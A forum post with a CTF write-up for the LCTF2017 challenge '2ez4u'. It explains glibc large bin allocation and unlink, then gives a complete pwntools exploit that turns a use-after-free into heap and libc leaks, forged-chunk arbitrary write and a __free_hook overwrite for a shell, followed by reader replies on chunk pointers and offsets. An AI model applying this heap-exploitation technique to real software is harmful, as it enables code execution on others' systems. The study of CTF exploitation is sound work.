首页
社区
课程
招聘
[原创]Large bin attack--LCTF2017-2ez4u--writeup
2017-12-12 21:22 8561

[原创]Large bin attack--LCTF2017-2ez4u--writeup

2017-12-12 21:22
8561

Large bin attack--LCTF2017-2ez4u--writeup

技巧性很强的一道题,当时自己写的思路和官方的不一样,后面看着官方的wp看了半天才把思路看懂。

large bin 分配的过程

这道题很关键的一个点在于伪造large bin chunk,并将该chunk分配出来,从而实现空间复用,所以先解释下large bin分配的过程,源代码如下:

/*
         If a large request, scan through the chunks of current bin in
         sorted order to find smallest that fits.  Use the skip list for this.
       */

      if (!in_smallbin_range (nb))
        {
          bin = bin_at (av, idx);

          /* skip scan if empty or largest chunk is too small */
          if ((victim = first (bin)) != bin &&  //获取链表的第一个chunk
              (unsigned long) (victim->size) >= (unsigned long) (nb))
            {
              victim = victim->bk_nextsize;  //反向遍历,chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb)))
                victim = victim->bk_nextsize;

              /* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
              if (victim != last (bin) && victim->size == victim->fd->size)
                victim = victim->fd;

              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); //large bin的unlink操作

              /* Exhaust */
              if (remainder_size < MINSIZE)
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
                    victim->size |= NON_MAIN_ARENA;
                }
              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb);
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
                    {
                      errstr = "malloc(): corrupted unsorted chunks";
                      goto errout;
                    }
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }

有关堆的管理与结构不多说,需要强调下的是,large bin数组里的不再是存储大小一样chunk,而是可以存储等差数列变化的chunk块。large bin chunk结构体中的fd_nextsize和bk_nextsize俩个字段是有意义的,large bins中空闲chunk是按照大小排序的,但同一个大小的chunk可能有多个,增加这俩个字段可以加快遍历空闲chunk,fd_nextsize指向下一个比当前chunk大小大的第一个空闲块,bk_nextsize指向前一个比当前chunk大小小的第一个空闲chunk。

 

总结下large bin chunk分配的过程,查询对应的large bin链表,不为空的话,反向遍历,chunk size链表直到找到第一个大于等于所需chunk大小的chunk退出循环。找到合适的chunk之后,使用unlink将该块分配出来,并设置好相应的结构。

 

还需要看下unlink的代码,之前做的相关题目都是small bin的unlink,对于large bin之前也都没注意,从代码中可以看到,就是多了fd_nextsize和bk_nextsize俩个位置的检查,原理和fd和bk的检查一致。

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))      \
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
    FD = P->fd;                                      \
    BK = P->bk;                                      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                      \
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
        if (!in_smallbin_range (P->size)                      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {              \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          \
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
          malloc_printerr (check_action,                      \
                   "corrupted double-linked list (not small)",    \
                   P, AV);                          \
            if (FD->fd_nextsize == NULL) {                      \
                if (P->fd_nextsize == P)                      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;              \
                else {                                  \
                    FD->fd_nextsize = P->fd_nextsize;                  \
                    FD->bk_nextsize = P->bk_nextsize;                  \
                    P->fd_nextsize->bk_nextsize = FD;                  \
                    P->bk_nextsize->fd_nextsize = FD;                  \
                  }                                  \
              } else {                                  \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;              \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;              \
              }                                      \
          }                                      \
      }                                          \
}

2ez4u

题目是经典的菜单题,有创建、编辑、删除、打印四个功能。
漏洞是UAF漏洞,即在删除堆块后并没有将存储指针的全局变量清空,还能够重复的编辑,如何使用这一点拿到shell就是这道题的考点。

思路

泄露地址

题目的第一个难点在于泄露地址,程序本身还开启了PIE,由于打印的时候,打印的位置是从分配堆块的0x18的位置开始打印的,而正常堆块的fd与bk俩个指针在前0x10字节,想要通过常规的利用这俩个字段泄露地址好像有点难度,此时就想要了前面提到过的fd_nextsize和bk_nextsize这俩个字段。所以就想办法通过large bin来实现攻击。
首先泄露堆地址,构造俩个large bin chunk,大小在同一个bins中,将其释放后,此时俩个chunk会被释放到unsorted bin中,再申请一个大小大于这俩个chunk的块,此时这俩个chunk会被放到相应的large bin中,同时fd_nextsize与bk_nextsize会被赋值,再利用UAF打印即可得到堆块地址。

伪造large bin chunk

在泄露堆地址后,接下来需要泄露libc地址,根据官方的wp,使用的方法是伪造large bin chunk,我觉得神奇的地方在于不需要将伪造的堆块释放,而是修改之前被释放堆块的bk_nextsize字段即可,对应到源代码中代码即victim = victim->bk_nextsize,这一点使用UAF即可做到,但想要将该堆块申请出来,还需要绕过unlink的限制,这也可以通过UAF实现。在可以将伪造的堆块申请出来之后,我们可以在伪造的堆块中包含有正常的small bin,这样就可以达到泄露出libc地址以及修改内存的目的。

覆盖__free_hook指针

可以利用刚刚伪造的堆块包含fastbin,接下来只需要覆盖fastbin的fd指针,就可以构造合适的chunk,使得将main_arena的top指针覆盖为free_hook的上面一些的地址。
这一点对于我来说是个新姿势,学到了。具体来说,首先使用修改fastbin fd的方式,将main_arena的fastbin数组的一个指针修改为0x60,这样就获得了在申请fastbin时需要绕过检查的size位,接着将另一个数组的相应fd指向为main_arena合适的位置,即可将top指针上放的指针当作chunk申请出来,从而实现将top指针修改为__free_hook上方的位置,再接着就是多申请几次,将hook指针覆盖为system函数地址即可。

exploit

exploit如下,是官方的wp,加了一些注释:

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import c_uint32
#context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86-64'
context.os = 'linux'
#context.log_level = 'DEBUG'
#io = remote("111.231.13.27", 20001)
#io = process("./chall", env = {"LD_PRELOAD" : "./libc-2.23.so"})
io = process("./2ez4u")
EXEC = 0x0000555555554000
def add(l, desc):
    io.recvuntil('your choice:')
    io.sendline('1')
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('0')
    io.recvuntil('value?(0-999):')
    io.sendline('0')
    io.recvuntil('num?(0-16)')
    io.sendline('0')
    io.recvuntil('description length?(1-1024):')
    io.sendline(str(l))
    io.recvuntil('description of the apple:')
    io.sendline(desc)
    pass
def dele(idx):
    io.recvuntil('your choice:')
    io.sendline('2')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    pass
def edit(idx, desc):
    io.recvuntil('your choice:')
    io.sendline('3')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('2')
    io.recvuntil('value?(0-999):')
    io.sendline('1000')
    io.recvuntil('num?(0-16)')
    io.sendline('17')
    io.recvuntil('new description of the apple:')
    io.sendline(desc)
    pass
def show(idx):
    io.recvuntil('your choice:')
    io.sendline('4')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    pass
add(0x60,  '0'*0x60 ) # 
add(0x60,  '1'*0x60 ) #
add(0x60,  '2'*0x60 ) #
add(0x60,  '3'*0x60 ) #
add(0x60,  '4'*0x60 ) #
add(0x60,  '5'*0x60 ) #
add(0x60,  '6'*0x60 ) #
add(0x3f0, '7'*0x3f0) # playground
add(0x30,  '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30,  'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30,  'c'*0x30 )
dele(0x9)  ##释放第一个大块
dele(0xb)  ##释放第二个大块
dele(0x0)
gdb.attach(io)
add(0x400, '0'*0x400)  #申请一个较大的块,使得unsorted bin数组清空
# leak
show(0xb)  ##泄露得到堆地址
io.recvuntil('num: ')
print hex(c_uint32(int(io.recvline()[:-1])).value)
io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)
target_addr = HEAP+0xb0     # 1
chunk1_addr = HEAP+0x130    # 2
chunk2_addr = HEAP+0x1b0    # 3
victim_addr = HEAP+0xc30    # b
# large bin attack
edit(0xb, p64(chunk1_addr))             # victim  ##修改victim = victim->bk_nextsize,伪造堆块开始
edit(0x1, p64(0x0)+p64(chunk1_addr))    # target ##这一步是为了绕过unlink的fd与bk检查
chunk2  = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr)  ##这一步是为了绕过fd_nextsize与bk_nextsize检查
edit(0x3, chunk2) # chunk2
chunk1  = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)  ##伪造的堆块
edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))  ##伪造的堆块后加上结构体。
dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!! ##将伪造的堆块申请出来,从此便可为所欲为。。。
add(0x60,  '6'*0x60 ) # 
show(0x3) ##伪造的堆块中包含small bin,泄露libc地址
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)
junk  = ''
junk += '3'*0x30
junk += p64(0x81)
junk += p64(LIBC+0x3c4be8)
junk += p64(HEAP+0x300)
junk  = junk.ljust(0xa8, 'A')
junk += p64(0x80)
recovery  = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd  
dele(0x5)
dele(0x4)
edit(0x3, recovery) # victim, start from HEAP+0x158  ##修改fd为0x60
add(0x60,  '4'*0x60 ) # 
recovery  = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x40,  '5'*0x30 ) # 
dele(0x5)
recovery  = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)
edit(0x3, recovery) # victim, start from HEAP+0x158 ##修改fd指向为main_arena的fastbin数组位置
add(0x40,  '5'*0x30 ) #   
add(0x40,  p64(LIBC+0x3c5c50)) # 修改top指针指向__free_hook的上方
# recovery
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)
add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '/bin/sh') # 
dele(0x1)
#add(0x300, '\x00'*0x1d0+p64(LIBC+0x45390)) # 
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a)) # 修改__free_hook为system地址
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247))
dele(15)
io.interactive()

结语

新姿势,向大佬学习。

链接

LCTF 2017 官方Writeup

 

exp


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (5)
雪    币: 295
活跃值: (64)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
bsauce 2017-12-12 21:27
2
0
先膜一发
雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 4 2018-3-21 12:49
3
0

fd_nextsize应该指向的是下一个比当前chunk 小的第一个空闲块吧?

largebins
0x3c0: 0x804b000 —▸ 0x804bf80 —▸ 0x804b7f0 ◂— 0xf7fbf680
0x804b000 PREV_INUSE {
  prev_size = 0, 
  size = 1017, 
  fd = 0x804bf80, 
  bk = 0xf7fbf680 <main_arena+608>, 
  fd_nextsize = 0x804bf80, 
  bk_nextsize = 0x804b7f0
}
0x804bf80 PREV_INUSE {
  prev_size = 0, 
  size = 985, 
  fd = 0x804b7f0, 
  bk = 0x804b000, 
  fd_nextsize = 0x804b7f0, 
  bk_nextsize = 0x804b000
}
0x804b7f0 PREV_INUSE {
  prev_size = 0, 
  size = 969, 
  fd = 0xf7fbf680 <main_arena+608>, 
  bk = 0x804bf80, 
  fd_nextsize = 0x804b000, 
  bk_nextsize = 0x804bf80
}

雪    币: 699
活跃值: (444)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
sakura零 4 2018-3-25 23:19
4
0
看您的wp有些地方不懂,方便的话能讲一下么~
LIBC  =  u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc  base  0x%016x"  %  LIBC)
这个-0x3c4be8是怎么算出来的呢
雪    币: 1184
活跃值: (174)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
raycp 2 2018-3-27 22:51
5
0
sakura零 看您的wp有些地方不懂,方便的话能讲一下么~ LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8 log.info("libc base 0x%016x ...
这是main  arena的某个地址,应该是smallbin数组的地方吧,我忘记了,直接减去偏移就可以了,vmmap查看libc基址,然后看泄露出来的地址,相减就得到这个偏移
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
will林 2018-4-3 15:58
6
0
楼上说的对,fd_nextsize指向的是下一个比当前chunk  小的第一个空闲块
游客
登录 | 注册 方可回帖
返回